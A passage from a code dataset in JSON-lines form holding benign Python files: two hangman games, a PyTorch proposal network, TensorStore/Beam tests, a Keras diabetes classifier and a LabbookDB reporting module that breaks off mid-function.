text.draw(high_scores_win)\n text_objects.append(text)\n # While loop runs while the window is open\n while high_scores_win:\n # For loop iterates through 9 for the 9 elements in the list\n for w in range(9):\n # Checks if w == 0 since there is a gap between final score and the header\n if w == 0:\n first = 20\n else:\n first = 0\n # For loop goes through twenty unless it's the first in which it's doubled\n for o in range(20 + first):\n # For loop goes in range 9 for each element in the list and moves it up by 1\n for r in range(9):\n text_objects[r].move(0, -1)\n # Upon moving everything a full sequence, creates a new text object at the bottom and undraws\n # the one that is at the top and updates the list accordingly\n text = Text(Point(125, 190), output[w])\n text.setSize(14)\n text_objects[w].undraw()\n text_objects[w] = text\n # try and except block to ensure there window is not closed already\n try:\n text.draw(high_scores_win)\n # If the window is already closed it closes it to ensure it is and then returns from the function\n except:\n high_scores_win.close()\n return\n\n\n# Calls the main function\nmain()","repo_name":"ZachRubin/Purdue-hangman-game","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":29937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17141470090","text":"import torch\nimport torch.nn as nn\n\nfrom . import META_ARCH_REGISTRY, DefaultMetaArch\nfrom vistem.modeling import detector_postprocess\nfrom vistem.modeling.backbone import build_backbone\nfrom vistem.modeling.meta_arch.proposal import build_proposal_generator\nfrom vistem.structures import ImageList\n\n@META_ARCH_REGISTRY.register()\nclass ProposalNetwork(DefaultMetaArch):\n def __init__(self, cfg):\n super().__init__(cfg)\n\n # Backbone Network\n self.backbone = build_backbone(cfg)\n self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape())\n\n def forward(self, batched_inputs):\n images, _, gt_instances, _ = self.preprocess_image(batched_inputs)\n features = self.backbone(images.tensor)\n\n proposals, proposal_losses = self.proposal_generator(images, features, gt_instances)\n \n # In training, the proposals are not useful at all but we generate them anyway.\n # This makes RPN-only models about 5% slower.\n if self.training:\n return proposal_losses\n\n else:\n processed_results = []\n for results_per_image, input_per_image, image_size in zip(proposals, batched_inputs, images.image_sizes):\n height = input_per_image.get(\"height\", image_size[0])\n width = input_per_image.get(\"width\", image_size[1])\n r = detector_postprocess(results_per_image, height, width)\n processed_results.append({\"proposals\": r})\n\n return processed_results\n","repo_name":"major196512/vistem","sub_path":"vistem/modeling/meta_arch/rpn.py","file_name":"rpn.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"12760872248","text":"import random\nfrom hangmanart import stages, logo\nfrom words import word_list\n\ngame_end = False\ncomputer_choice = random.choice(word_list)\nlen_computer_choice = len(computer_choice)\nlives = 6\n\ndisplay = []\n\nprint(computer_choice)\n\nfor let in range(len_computer_choice):\n let = \"_\"\n display.append(let)\n\n\nprint(logo)\n\nwhile not game_end:\n\n user_choice = input('Escolha uma letra: ').lower()\n\n for position in range(len_computer_choice):\n letter = computer_choice[position]\n if letter == user_choice:\n display[position] = user_choice\n\n print(display)\n\n if user_choice not in computer_choice:\n print(f\"You guessed {user_choice}, that's not in the word. You lose a life.\")\n lives -= 1\n if lives == 0:\n game_end = True\n print('You killed the hangman')\n\n if \"_\" not in display:\n game_end = True\n print('Congrats, you won the game')\n\n print(stages[lives])\n","repo_name":"ggentile/100days_challenge_python","sub_path":"hangman/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"43191341315","text":"\"\"\"Tests for cell_img.image_grid.tensorstore_beam.\"\"\"\n\nimport asyncio\nimport tempfile\n\nfrom absl.testing import absltest\nimport apache_beam as beam\nfrom apache_beam.testing.test_pipeline import TestPipeline\nfrom apache_beam.testing.util import assert_that\nfrom apache_beam.testing.util import equal_to\nfrom cell_img.image_grid import tensorstore_beam\nimport numpy as np\nimport tensorstore as ts\n\n\ndef valid_tensorstore_spec(dir_path):\n return ts.Spec({\n 'driver': 'n5',\n 'kvstore': {\n 'driver': 'file',\n 'path': dir_path,\n },\n 'metadata': {\n 'compression': {\n 'type': 'gzip'\n },\n 'dataType': 'uint16',\n 'dimensions': [1000, 20000],\n 'blockSize': [10, 10],\n }\n })\n\n\nclass TensorstoreBeamTest(absltest.TestCase):\n\n def testWriteTensorStore(self):\n with tempfile.TemporaryDirectory() as dir_path:\n ts_spec = valid_tensorstore_spec(dir_path)\n\n # The location and data to be written in beam.\n view_slice = (slice(80, 82), slice(99, 102))\n orig_array = np.array([[1, 2, 3], [4, 5, 6]]).astype('uint16')\n\n with TestPipeline(beam.runners.direct.DirectRunner()) as p:\n p_view_slice_and_array = p | beam.Create([(view_slice, orig_array)])\n _ = p_view_slice_and_array = (\n p_view_slice_and_array | tensorstore_beam.WriteTensorStore(\n ts_spec, create_tensorstore=True))\n\n # Now read back the data with the serial API and assert it matches.\n dataset = ts.open(ts_spec).result()\n actual_array = dataset[view_slice].read().result()\n np.testing.assert_equal(orig_array, actual_array)\n\n def testReadTensorStore(self):\n with tempfile.TemporaryDirectory() as dir_path:\n ts_spec = valid_tensorstore_spec(dir_path)\n\n # First write the data to the location using the serial API.\n view_slice = (slice(80, 82), slice(99, 102))\n orig_array = np.array([[1, 2, 3], [4, 5, 6]]).astype('uint16')\n dataset = ts.open(ts_spec, create=True).result()\n dataset[view_slice] = orig_array\n\n with TestPipeline(beam.runners.direct.DirectRunner()) as p:\n p_slice_and_passthrough = p | beam.Create(\n [(view_slice, 'pass', 'through')])\n p_slice_and_array_and_passthrough = (\n p_slice_and_passthrough | tensorstore_beam.ReadTensorStore(ts_spec))\n\n # There should be one element in the resulting pcollection.\n p_count = (\n p_slice_and_array_and_passthrough | beam.combiners.Count.Globally())\n assert_that(p_count, equal_to([1]))\n\n # Assert that the content of the resulting pcollection is as expected.\n def do_assert(element):\n actual_slice = element[0]\n self.assertEqual(actual_slice, view_slice)\n\n actual_array = element[1]\n np.testing.assert_equal(orig_array, actual_array)\n\n actual_passthrough = element[2:]\n np.testing.assert_equal(('pass', 'through'), actual_passthrough)\n\n _ = p_slice_and_array_and_passthrough | beam.Map(do_assert)\n\n def testWriteThenReadTensorStore(self):\n with tempfile.TemporaryDirectory() as dir_path:\n ts_spec = valid_tensorstore_spec(dir_path)\n\n # The location and data to be written in beam.\n view_slice = (slice(80, 82), slice(99, 102))\n orig_array = np.array([[1, 2, 3], [4, 5, 6]]).astype('uint16')\n\n with TestPipeline(beam.runners.direct.DirectRunner()) as p:\n p_view_slice_and_array = (\n p | 'create_write' >> beam.Create([(view_slice, orig_array)]))\n _ = p_view_slice_and_array = (\n p_view_slice_and_array | tensorstore_beam.WriteTensorStore(\n ts_spec, create_tensorstore=True))\n\n # Only try reading data after the pipeline to write it has finished.\n with TestPipeline(beam.runners.direct.DirectRunner()) as p:\n p_slice = p | 'create_read' >> beam.Create([(view_slice,)])\n p_slice_and_array = (\n p_slice | tensorstore_beam.ReadTensorStore(ts_spec))\n\n # There should be one element in the resulting pcollection.\n p_count = (p_slice_and_array | beam.combiners.Count.Globally())\n assert_that(p_count, equal_to([1]))\n\n # Assert that the content of the resulting pcollection is as expected.\n def do_assert(element):\n self.assertLen(element, 2)\n actual_slice = element[0]\n self.assertEqual(actual_slice, view_slice)\n\n actual_array = element[1]\n np.testing.assert_equal(orig_array, actual_array)\n\n _ = p_slice_and_array | beam.Map(do_assert)\n\n def testScheduleAfterShutdown(self):\n with tempfile.TemporaryDirectory(ignore_cleanup_errors=True) as dir_path:\n ts_spec = valid_tensorstore_spec(dir_path)\n\n # The location and data to be written in beam.\n view_slice = (slice(80, 82), slice(99, 102))\n orig_array = np.array([[1, 2, 3], [4, 5, 6]]).astype('uint16')\n\n write_do_fn = tensorstore_beam._WriteTensorStoreDoFn(\n ts_spec, create_tensorstore=True)\n write_do_fn.setup()\n write_do_fn.teardown()\n # Submitting tasks after shutdown should not raise an error.\n _ = list(write_do_fn.process((view_slice, orig_array)))\n\n def testWritingTheWrongSizeRaises(self):\n with tempfile.TemporaryDirectory() as dir_path:\n ts_spec = valid_tensorstore_spec(dir_path)\n\n # The location and data to be written in beam.\n view_slice = (slice(80, 82), slice(99, 102))\n # Make an array that is too big for this view slice\n big_array = np.array([[1, 2, 3, 4], [5, 6, 7, 8]]).astype('uint16')\n\n with self.assertRaisesRegex(ValueError,\n '.*Error aligning dimensions.*'):\n with TestPipeline(beam.runners.direct.DirectRunner()) as p:\n p_view_slice_and_array = p | beam.Create([(view_slice, big_array)])\n\n _ = p_view_slice_and_array = (\n p_view_slice_and_array | tensorstore_beam.WriteTensorStore(\n ts_spec, create_tensorstore=True))\n\n\nclass RetryableExecutorTest(absltest.TestCase):\n\n def test_constructor_one_exception(self):\n tensorstore_beam.RetryableExecutor(\n max_attempts=3, exceptions_to_catch=Exception, max_workers=4)\n\n def test_constructor_multiple_exceptions(self):\n tensorstore_beam.RetryableExecutor(\n max_attempts=3,\n exceptions_to_catch=(KeyError, ValueError),\n max_workers=4)\n\n def test_constructor_raises_on_zero_max_attempts(self):\n with self.assertRaisesRegex(ValueError,\n 'max_attempts must be >= 1 but got 0'):\n tensorstore_beam.RetryableExecutor(\n max_attempts=0, exceptions_to_catch=Exception)\n\n def test_succeeds_when_no_errors(self):\n executor = tensorstore_beam.RetryableExecutor(\n max_attempts=1, exceptions_to_catch=Exception)\n my_future = executor.submit(lambda x: x, 1234)\n self.assertEqual(1234, my_future.result())\n\n def test_succeeds_when_ten_attempts_and_nine_timeouts(self):\n executor = tensorstore_beam.RetryableExecutor( # pytype: disable=wrong-arg-types # py39-upgrade\n max_attempts=10, exceptions_to_catch=asyncio.CancelledError)\n num_timeouts = 9\n exceptions_to_raise = [asyncio.CancelledError] * num_timeouts\n func_with_timeouts = FuncWithExceptions(exceptions_to_raise)\n my_future = executor.submit(func_with_timeouts.func, 1234)\n self.assertEqual(1234, my_future.result())\n\n def test_raises_when_ten_attempts_and_ten_timeouts(self):\n executor = tensorstore_beam.RetryableExecutor( # pytype: disable=wrong-arg-types # py39-upgrade\n max_attempts=10, exceptions_to_catch=asyncio.CancelledError)\n num_timeouts = 10\n exceptions_to_raise = [asyncio.CancelledError] * num_timeouts\n func_with_timeouts = FuncWithExceptions(exceptions_to_raise)\n my_future = executor.submit(func_with_timeouts.func, 1234)\n with self.assertRaises(asyncio.CancelledError):\n my_future.result()\n\n def test_multiple_error_types(self):\n executor = tensorstore_beam.RetryableExecutor( # pytype: disable=wrong-arg-types # py39-upgrade\n max_attempts=3,\n exceptions_to_catch=(asyncio.CancelledError, KeyError),\n max_workers=1)\n func_with_exceptions = FuncWithExceptions(\n [asyncio.CancelledError, KeyError])\n my_future = executor.submit(func_with_exceptions.func, 1234)\n self.assertEqual(1234, my_future.result())\n\n def test_multiple_error_types_raises_on_uncaught_error(self):\n executor = tensorstore_beam.RetryableExecutor( # pytype: disable=wrong-arg-types # py39-upgrade\n max_attempts=3,\n exceptions_to_catch=asyncio.CancelledError,\n max_workers=1)\n func_with_exceptions = FuncWithExceptions(\n [asyncio.CancelledError, KeyError])\n my_future = executor.submit(func_with_exceptions.func, 1234)\n with self.assertRaises(KeyError):\n my_future.result()\n\n\nclass FuncWithExceptions(object):\n\n def __init__(self, exceptions_to_raise):\n self._exceptions_to_raise = exceptions_to_raise\n\n def func(self, my_arg):\n if self._exceptions_to_raise:\n to_raise = self._exceptions_to_raise.pop()\n raise to_raise\n return my_arg\n\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"google/cell_img","sub_path":"cell_img/image_grid/tensorstore_beam_test.py","file_name":"tensorstore_beam_test.py","file_ext":"py","file_size_in_byte":9253,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"34986924618","text":"import numpy\nfrom keras.models import Sequential\nfrom keras.layers import Dense,Activation\n# fix random seed for reproducibility\nnumpy.random.seed(7)\n'''\nData set attibutes\n 1. Number of times pregnant\n 2. Plasma glucose concentration a 2 hours in an oral glucose tolerance test\n 3. Diastolic blood pressure (mm Hg)\n 4. Triceps skin fold thickness (mm)\n 5. 2-Hour serum insulin (mu U/ml)\n 6. Body mass index (weight in kg/(height in m)^2)\n 7. Diabetes pedigree function\n 8. Age (years)\n 9. Class variable (0 or 1)\n'''\ndataset = numpy.loadtxt('pima-indians-diabetes.data.csv',delimiter=',')\nX = dataset[:,0:8]\nY = dataset[:,8]\nmodel = Sequential()\nmodel.add(Dense(12,input_dim=8,activation='relu'))\nmodel.add(Dense(8, activation='relu'))\nmodel.add(Dense(1, activation='sigmoid'))\n#compile the model\nmodel.compile(loss='binary_crossentropy',optimizer='adam',metrics=['accuracy'])\n# fit the model\nmodel.fit(X,Y,epochs=300,batch_size=10)\n# evaluate the trained model\nscores = model.evaluate(X,Y)\nprint(\"\\n%s: %.2f%%\" % (model.metrics_names[1], scores[1]*100))\nprint('Completed training ')\ninput('Press enter for starting predicions')\npredictions = model.predict(X)\nrounded = [round(x[0]) for x in predictions]\nprint(rounded)\n# for evaluating the accuracy of predictions\n# rounded = numpy.array(rounded)\n# predictionScores = model.evaluate(X,rounded)\n# print(\"\\n%s: %.2f%%\" % (model.metrics_names[1], predictionScores[1]*100))\n","repo_name":"nattesharan/AISTUFF","sub_path":"keras_first_network.py","file_name":"keras_first_network.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"19979156321","text":"import os\nimport pandas as pd\nfrom labbookdb.decorators import environment_db_path\nfrom labbookdb.report.utilities import *\nfrom labbookdb.report import selection\nfrom labbookdb.db import query\n\n\nTABLE_COL_SPACE = 150\n\n\ndef animals_id(db_path,\n\tsave_as=None,\n\t):\n\t\"\"\"\n\tExtract list of animal (database and external) IDs, and either print it to screen or save it as an HTML file.\n\n\tParameters\n\t----------\n\n\tdb_path : string\n\tPath to the database file to query.\n\n\tsave_as : string or None, optional\n\tPath under which to save the HTML report (\".html\" is automatically appended). If None, the report is printed to the terminal.\n\t\"\"\"\n\n\tdf = selection.parameterized(db_path, \"animals id\")\n\n\tdf = df.rename(columns={'AnimalExternalIdentifier_database': 'External Database:', 'AnimalExternalIdentifier_animal_id': 'ID'})\n\tdf = df.set_index(['ID', 'External Database:'])['AnimalExternalIdentifier_identifier'].unstack(1).reset_index()\n\tdf.set_index('ID', inplace=True)\n\tdf = df.sort_index(ascending=False)\n\n\tif save_as:\n\t\tdf.to_html(os.path.abspath(os.path.expanduser(save_as+\".html\"), col_space=TABLE_COL_SPACE))\n\telse:\n\t\tprint(df)\n\treturn\n\n@environment_db_path()\ndef animals_info(db_path,\n\tsave_as=None,\n\tfunctional_scan_responders=True,\n\ttreatments=True,\n\t):\n\t\"\"\"\n\tExtract list of animal (database and external) IDs and their death dates and genotypes, and either print it to screen or save it as an HTML file.\n\n\tParameters\n\t----------\n\n\tdb_path : string\n\t\tPath to the database file to query.\n\n\tsave_as : string or None, optional\n\t\tPath under which to save the HTML report (\".html\" is automatically appended to the name, if not already present). If None, the report is printed to the terminal.\n\n\tfunctional_scan_responders : bool, optional\n\t\tWhether to create and list a column tracking how many of the scans in which an animal was exposed to stimulation show ICA results in a qualitative analysis.\n\n\ttreatments : bool, optional\n\t\tWhether to create a and list columns tracking what animal-based and cage-based treatements the animal was subjected to.\n\n\t\"\"\"\n\n\tdf = selection.parameterized(db_path, \"animals info\")\n\n\tcollapse = {\n\t\t'Animal_death_date' : lambda x: ', '.join(set([str(i) for i in x])),\n\t\t'Genotype_code' : lambda x: ', '.join(set([str(i) for i in x])),\n\t\t}\n\tshort_identifiers = make_identifier_short_form(df)\n\tdf = short_identifiers.join(collapse_rename(df, 'AnimalExternalIdentifier_animal_id', collapse))\n\tdf.reset_index().set_index('Animal_id', inplace=True)\n\n\tif functional_scan_responders:\n\t\tcount_scans = {'occurences' : lambda x: sum(x),}\n\n\t\tcollapse = {\n\t\t\t'StimulationProtocol_code' : lambda x: 0 if list(x) == [] else 1,\n\t\t\t\"Animal_id\" : lambda x: list(x)[0],\n\t\t\t}\n\t\trename = {'StimulationProtocol_code': 'occurences'}\n\t\tfunctional_scan_df = selection.parameterized(db_path, \"animals measurements\")\n\t\tfunctional_scan_df = collapse_rename(functional_scan_df, \"Measurement_id\", collapse, rename)\n\t\tfunctional_scan_df = collapse_rename(functional_scan_df, 'Animal_id', count_scans)\n\n\t\tcollapse = {\n\t\t\t'Irregularity_description' : lambda x: 1 if \"ICA failed to indicate response to stimulus\" in list(x) else 0,\n\t\t\t\"Animal_id\" : lambda x: list(x)[0],\n\t\t\t}\n\t\trename ={'Irregularity_description': 'occurences'}\n\t\tnonresponder_df = selection.parameterized(db_path, \"animals measurements irregularities\")\n\t\tnonresponder_df = collapse_rename(nonresponder_df, 'Measurement_id', collapse, rename)\n\t\tnonresponder_df = collapse_rename(nonresponder_df, 'Animal_id', count_scans)\n\n\t\tdf['nonresponsive'] = nonresponder_df\n\t\tdf['functional'] = functional_scan_df\n\t\tdf[['nonresponsive', 'functional']] = df[[\"nonresponsive\", 'functional']].fillna(0).astype(int)\n\t\tdf[\"responsive functional scans\"] = df['functional'] - df['nonresponsive']\n\t\tdf[\"responsive functional scans\"] = df[\"responsive functional scans\"].astype(str) +\"/\"+ df['functional'].astype(str)\n\t\tdf.drop(['nonresponsive', 'functional'], axis = 1, inplace = True, errors = 'ignore')\n\n\tif treatments:\n\t\ttreatments_df = selection.animal_treatments(db_path)\n\t\tcollapse_treatments = {\n\t\t\t'TreatmentProtocol_code' : lambda x: ', '.join(set([str(i) for i in x if i])),\n\t\t\t'Cage_TreatmentProtocol_code' : lambda x: ', '.join(set([i for i in x if i])),\n\t\t\t}\n\t\ttreatments_rename = {\n\t\t\t'TreatmentProtocol_code': 'animal_treatment',\n\t\t\t'Cage_TreatmentProtocol_code': 'cage_treatment',\n\t\t\t}\n\t\ttreatments_df = treatments_df.groupby('Animal_id').agg(collapse_treatments)\n\t\ttreatments_df = treatments_df.rename(columns=treatments_rename)\n\t\tdf['animal_treatment'] = treatments_df[\"animal_treatment\"]\n\t\tdf['cage_treatment'] = treatments_df[\"cage_treatment\"]\n\n\tdf = df.sort_index(ascending=False)\n\tdf = df.fillna('')\n\tif save_as:\n\t\tif os.path.splitext(save_as)[1] in [\".html\",\".HTML\"]:\n\t\t\tdf.to_html(os.path.abspath(os.path.expanduser(save_as)), col_space=TABLE_COL_SPACE)\n\t\telif os.path.splitext(save_as)[1] in [\".tsv\",\".TSV\"]:\n\t\t\tdf.to_csv(save_as, sep='\\t', encoding='utf-8')\n\t\telif os.path.splitext(save_as)[1] in [\".csv\",\".CSV\", \"\"]:\n\t\t\tdf.to_csv(save_as, encoding='utf-8')\n\t\telse:\n\t\t\tprint(\"WARNING: This function currently only supports `.csv`, `.tsv`, or `.html` output. Please append one of the aforementioned extensions to the specified file name (`{}`), or specify no extension - in which case `.csv` will be added and an according output will be created.\".format(save_as))\n\treturn df\n\ndef bids_eventsfile(db_path, code,\n\tstrict=False):\n\t\"\"\"\n\tReturn a BIDS-formatted eventfile for a given code\n\n\tParameters\n\t----------\n\n\tdb_path : string\n\t\tPath to the database file to query.\n\n\tcode : string\n\t\tCode (valid `StimulationProtocol.code` value) which identifies the stimulation protocol to format.\n\tstrict : bool, optional\n\t\tWhether to strict about respecting BIDS specifics.\n\t\t(currently removes coumns with only empty cells)\n\t\"\"\"\n\n\tdf = selection.stimulation_protocol(db_path, code)\n\tbids_df = pd.DataFrame([])\n\tbids_df['onset'] = df['StimulationEvent_onset']\n\tbids_df['duration'] = df['StimulationEvent_duration']\n\tbids_df['frequency'] = df['StimulationEvent_frequency']\n\tbids_df['pulse_width'] = df['StimulationEvent_pulse_width']\n\tbids_df['onset'] = df['StimulationEvent_onset']\n\tbids_df['trial_type'] = df['StimulationEvent_trial_type']\n\tbids_df['wavelength'] = df['StimulationEvent_wavelength']\n\tbids_df['strength'] = df['StimulationEvent_strength']\n\tbids_df['strength_unit'] = df['MeasurementUnit_code']\n\n\tif strict:\n\t\tbids_df = bids_df.dropna(axis=1, how='all')\n\n\treturn bids_df\n\ndef cage_consumption(db_path, df,\n\ttreatment_relative_date=True,\n\trounding='D',\n\t):\n\t\"\"\"\n\tReturn a `pandas.DataFrame` object containing information about the per-animal drinking solution consumption of single cages.\n\n\tParameters\n\t----------\n\tdb_path : string\n\t\tPath to the database file to query.\n\tdf : pandas.DataFrame\n\t\tA `pandas.DataFrame` object with `DrinkingMeasurement_id`, `DrinkingMeasurement_reference_date`, `DrinkingMeasurement_date`, `DrinkingMeasurement_start_amount`, `DrinkingMeasurement_start_amount` columns.\n\t\tThis can be obtained e.g. from `labbookdb.report.selection.cage_drinking_measurements()`.\n\ttreatment_relative_date : bool, optional\n\t\tWhether to express the dates relative to a treatment onset.\n\t\tIt is assumed that only one cage treatment is recorded per cage, if this is not so, this function may not work as expected.\n\trounding : string, optional\n\t\tWhether to round dates and timedeltas - use strings as supported by pandas. [1]_\n\n\tNotes\n\t-----\n\tThis function caluclates the per-day consumption based on phase-agnostic and potentially rounded and day values.\n\t\tThis is prone to some inaccuracy, as drinking is generally restricted to specific times of the day.\n\t\tIdeally, a `waking_hour_consumption` should be estimated based on exact times of day and day cycle.\n\n\tReferences\n\t----------\n\n\t.. [1] http://pandas.pydata.org/pandas-docs/stable/timeseries.html#offset-aliases\n\t\"\"\"\n\n\tselected_cages = list(df['Cage_id'].unique())\n\toccupancy_df = selection.cage_periods(db_path, cage_filter=selected_cages)\n\tdf['occupancy']=''\n\tfor measurement in df['DrinkingMeasurement_id'].tolist():\n\t\tselected = df[df['DrinkingMeasurement_id']==measurement]\n\t\tmeasurement_start = selected['DrinkingMeasurement_reference_date'].values[0]\n\t\tmeasurement_end = selected['DrinkingMeasurement_date'].values[0]\n\t\tcage_id = selected['Cage_id'].values[0]\n\t\toccupants = occupancy_df[\n\t\t\t\t(occupancy_df['CageStay_start_date']<=measurement_start)&\n\t\t\t\t(\n\t\t\t\t\t(occupancy_df['CageStay_end_date']>=measurement_end)|\n\t\t\t\t\t(occupancy_df['CageStay_end_date'].isnull())\n\t\t\t\t)&\n\t\t\t\t(occupancy_df['Cage_id']==cage_id)\n\t\t\t\t]\n\t\tif True in occupants['Animal_id'].duplicated().tolist():\n\t\t\tprint(occupants)\n\t\t\traise ValueError('An animal ist listed twice in the occupancy list of a cage (printed above). This biases the occupancy evaluation, and is likely diagnostic of a broader processing error.')\n\t\toccupancy = len(occupants.index)\n\t\tdf.loc[(df['DrinkingMeasurement_id']==measurement),'occupancy'] = occupancy\n\tdf['consumption'] = df['DrinkingMeasurement_start_amount']-df['DrinkingMeasurement_end_amount']\n\tif treatment_relative_date:\n\t\tdf['relative_start_date'] = ''\n\t\tdf['relative_end_date'] = ''\n\t\tdf['relative_start_date'] = df['relative_start_date'].astype('timedelta64[ns]')\n\t\tdf['relative_end_date'] = df['relative_end_date'].astype('timedelta64[ns]')\n\t\tdf[\"relative_start_date\"] = df[\"DrinkingMeasurement_reference_date\"]-df[\"Treatment_start_date\"]\n\t\tdf[\"relative_end_date\"] = df[\"DrinkingMeasurement_date\"]-df[\"Treatment_start_date\"]\n\t\tif rounding:\n\t\t\tdf['relative_start_date'] = df['relative_start_date'].dt.round(rounding)\n\t\t\tdf['relative_end_date'] = df['relative_end_date'].dt.round(rounding)\n\t\tdf['relative_end_date'] = df['relative_end_date'].dt.days.astype(int)\n\t\tdf['relative_start_date'] = df['relative_start_date'].dt.days.astype(int)\n\n\t\t# Here we calculate the day consumption based on phase-agnostic and potentially rounded and day values.\n\t\t# This is prone to some inaccuracy, as drinking is generally restricted to specific times of the day.\n\t\t# Ideally, a `waking_hour_consumption` should be estimated based on exact times of day and day cycle.\n\t\tdf['day_consumption'] = df['consumption']/(df['relative_end_date'] - df['relative_start_date'])\n\t\tdf['day_animal_consumption']=df['day_consumption']/df['occupancy']\n\treturn df\n\ndef append_external_identifiers(db_path, df,\n\tconcatenate=[],\n\t):\n\t\"\"\"\n\tAppend external animal IDs to a dataframe containing an `Animal_id` (`Animal.id`) column.\n\n\tParameters\n\t----------\n\n\tdb_path : str\n\t\tPath to database fuile to query.\n\tdf : pandas.DataFrame\n\t\tA `pandas.DataFrame` object containing an `Animal_id` (`Animal.id`) column.\n\tconcatenate : list, optional\n\t\tA list containing any combination of 'Animal_death_date', 'Genotype_id', 'Genotype_code', 'Genotype_construct'.\n\t\"\"\"\n\n\tdf_id = selection.parameterized(db_path, \"animals info\",\n\t\tanimal_filter=list(df['Animal_id'].unique()),\n\t\t)\n\n\tcollapse = {}\n\tif concatenate:\n\t\tfor i in concatenate:\n\t\t\tcollapse[i] = lambda x: ', '.join(set([str(i) for i in x]))\n\tshort_identifiers = make_identifier_short_form(df_id)\n\tdf_id = short_identifiers.join(collapse_rename(df_id, 'AnimalExternalIdentifier_animal_id', collapse))\n\tdf_id.reset_index(inplace=True)\n\tdf = pd.merge(df_id, df, on='Animal_id', how='inner')\n\n\treturn df\n\n\ndef treatment_group(db_path, treatments,\n\tlevel=\"\",\n\t):\n\t\"\"\"\n\tReturn a `pandas.DataFrame` object containing the per animal start dates of a particular treatment code (applied either at the animal or the cage levels).\n\n\tParameters\n\t----------\n\n\tdb_path : string\n\t\tPath to database file to query.\n\tcode : string\n\t\tDesired treatment code (`Treatment.code` attribute) to filter for.\n\tlevel : {\"animal\", \"cage\"}\n\t\tWhether to query animal treatments or cage treatments.\n\n\tNotes\n\t-----\n\n\tThis function checks whether cage-level treatment onsets indeed happened during the period in which the animal was housed in teh cage.\n\tWe do not check for the treatment end dates, as an animal which has received a partial treatment has received a treatment.\n\tChecks for treatment discontinuation due to e.g. death should be performed elsewhere.\n\t\"\"\"\n\tif not level:\n\t\tlevel = \"animal\"\n\tif level==\"animal\":\n\t\tdf = selection.animal_treatments(db_path, animal_treatments=treatments)\n\telif level==\"cage\":\n\t\tdf = selection.animal_treatments(db_path, cage_treatments=treatments)\n\treturn df\n\ndef qualitative_dates(df,\n\titerator_column='Animal_id',\n\tdate_column='relative_date',\n\tlabel='qualitative_date',\n\tfuzzy_matching={},\n\t):\n\t\"\"\"\n\tAssign qualitative date labels.\n\n\tParameters\n\t----------\n\n\tdf : pandas.DataFrame\n\t\tA `pandas.DataFrame` object containing a date column.\n\titeraor_column : string, optional\n\t\tThe label of the column which identifies the base entities of which each should be assigned a set of qualitatie dates (most commonly this is `Animal_id`, or `Cage_id`).\n\tdate_column : string, optional\n\t\tThe label of the column which serves as the quantitative record which is to be discretized into qualitative dates.\n\tlabel : string, optional\n\t\tThe label to assign to the new qualitative date column.\n\tfuzzy_assignment : dict, optional\n\t\tA dictionary the keys of which are qualitative date labels to be assigned, and the values of which are lists giving the quantitative date labels in the order of preference based on which to assign the labels.\n\t\"\"\"\n\n\tdf[label]=''\n\tfor i in df[iterator_column]:\n\t\ttry:\n\t\t\tfor label, dates in fuzzy_matching.iteritems():\n\t\t\t\tfor date in dates:\n\t\t\t\t\tif date in df[df[iterator_column]==i][date_column].values:\n\t\t\t\t\t\tdf.loc[(df[iterator_column]==i)&(df[date_column]==date),'qualitative_date']=label\n\t\t\t\t\t\tbreak\n\t\texcept AttributeError:\n\t\t\tfor label, dates in fuzzy_matching.items():\n\t\t\t\tfor date in dates:\n\t\t\t\t\tif date in df[df[iterator_column]==i][date_column].values:\n\t\t\t\t\t\tdf.loc[(df[iterator_column]==i)&(df[date_column]==date),'qualitative_date']=label\n\t\t\t\t\t\tbreak\n\treturn df\n\ndef animal_weights(db_path,\n\treference={},\n\trounding=\"D\",\n\t):\n\t\"\"\"\n\tReturn a dataframe containing animal weights and dates.\n\n\tParameters\n\t----------\n\n\tdb_path : string\n\t\tPath to database file to query.\n\treference : dict, optional\n\t\tDictionary based on which to apply a reference date for the dates of each animal. Keys of this dictionary must be \"animal\" or \"cage\", and values must be lists of treatment codes.\n\trounding : string, optional\n\t\tWhether to round dates and timedeltas - use strings as supported by pandas. [1]_\n\n\tReferences\n\t----------\n\n\t.. [1] http://pandas.pydata.org/pandas-docs/stable/timeseries.html#offset-aliases\n\t\"\"\"\n\timport pandas as pd\n\n\tdf = selection.parameterized(db_path, \"animals weights\")\n\tshort_identifiers = make_identifier_short_form(df, index_name=\"WeightMeasurement_id\")\n\tcollapse = {\n\t\t'WeightMeasurement_date' : lambda x: list(set(x))[0] if (len(set(x)) == 1) else \"WARNING: different values were present for this entry. Data in this entire DataFrame may not be trustworthy.\",\n\t\t'WeightMeasurement_weight' : lambda x: list(set(x))[0] if (len(set(x)) == 1) else \"WARNING: different values were present for this entry. Data in this entire DataFrame may not be trustworthy.\",\n\t\t'AnimalExternalIdentifier_animal_id' : lambda x: list(set(x))[0] if (len(set(x)) == 1) else \"WARNING: different values were present for this entry. Data in this entire DataFrame may not be trustworthy.\",\n\t\t}\n\trename = {\n\t\t'WeightMeasurement_date': 'date',\n\t\t'WeightMeasurement_weight': 'weight',\n\t\t'AnimalExternalIdentifier_animal_id': 'Animal_id',\n\t\t}\n\tdf = short_identifiers.join(collapse_rename(df, 'WeightMeasurement_id', collapse, rename))\n\tif reference:\n\t\tif list(reference.keys())[0] == 'animal':\n\t\t\tstart_date_label = 'Treatment_start_date'\n\t\telif list(reference.keys())[0] == 'cage':\n\t\t\tstart_date_label = 'Cage_Treatment_start_date'\n\t\tonsets = treatment_group(db_path, list(reference.values())[0], level=list(reference.keys())[0])\n\t\tdf['relative_date'] = ''\n\t\tdf['relative_date'] = df['relative_date'].astype('timedelta64[ns]')\n\t\tfor subject in df[\"Animal_id\"]:\n\t\t\ttry:\n\t\t\t\tdf.loc[df[\"Animal_id\"]==subject,\"relative_date\"] = 